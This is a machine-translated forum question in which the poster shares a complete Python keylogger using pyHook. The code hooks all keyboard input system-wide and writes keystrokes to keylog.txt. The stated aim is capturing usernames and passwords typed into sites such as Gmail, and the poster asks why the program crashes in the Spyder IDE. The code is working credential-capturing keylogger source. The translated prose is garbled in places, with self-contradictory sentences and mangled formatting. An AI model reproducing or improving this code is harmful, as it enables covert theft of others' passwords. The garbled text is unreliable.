更新:
事实证明,这与代码无关,而与IDE有关。从Python控制台运行时,按键记录器可以正常工作。我仍然想知道如何解决此问题,但是目前我有一种解决方法。 [我应该关闭这个问题吗?]
我有一个简单的按键记录器(底部的代码... ),我想用来记录我在各种网站上的用户名和密码。我想做的是:
gmail
+ < kbd>输入 但是,在某些情况下,内核死于gmail之后就死了...我不知道为什么在某些情况下死于内核,但在其他情况下却死了,因为我所做的是相同的。
将Python与anaconda3 spyder IDE配合使用。
以下是良好运行结果的示例:
ngmail
******
======
w
'n'
,从 Ctrl + Shift + 'n'
打开隐身模式'w'
,从 Ctrl + 'w'
关闭窗口在第二次尝试之后,即第一次尝试之后几秒钟,记录的唯一char
是“ ngmail” [再次,n
来自 Ctrl + Shift + 'n'
]使我的日志变为:
ngmail
******
======
wngmail
如何解决此崩溃并使我的键盘记录程序稳定?
import pythoncom, pyHook, sys, string, datetime
# globals #
verbose = True
def OnEvent(event):
write_to_file = False
escape_button_ascii = 27
enter_button = '\n'
if verbose:
print('#' * 40)
if 'Wheel' in dir(event):
if verbose:
print('Mouse Event')
return True
else:
if event.Ascii == escape_button_ascii:
sys.exit()
if verbose:
print('KeyBoard Event')
write_to_file = True
if verbose:
print('#' * 40)
for attr in dir(event):
if not attr.startswith('__'):
if verbose:
print ("obj.%s = %r" % (attr, getattr(event, attr)))
if write_to_file and attr == 'Ascii':
if write_to_file and chr(getattr(event, attr)) in string.printable:
with open('keylog.txt','at') as f:
f.write(chr(getattr(event, attr)))
#if chr(getattr(event, attr)) == enter_button:
#f.write(str(datetime.datetime.now()))
#f.write(":\t")
# return True to pass the event to other handlers
return True
def main(keyboard=True, mouse=False):
# create a hook manager
hook_manager = pyHook.HookManager()
if mouse:
# watch for all mouse events
hook_manager.MouseAll = OnEvent
# set the mouse hook
hook_manager.HookMouse()
if keyboard:
# watch for all keyboard events
hook_manager.KeyDown = OnEvent
# set the keybboard hook
hook_manager.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
if __name__ == '__main__':
main()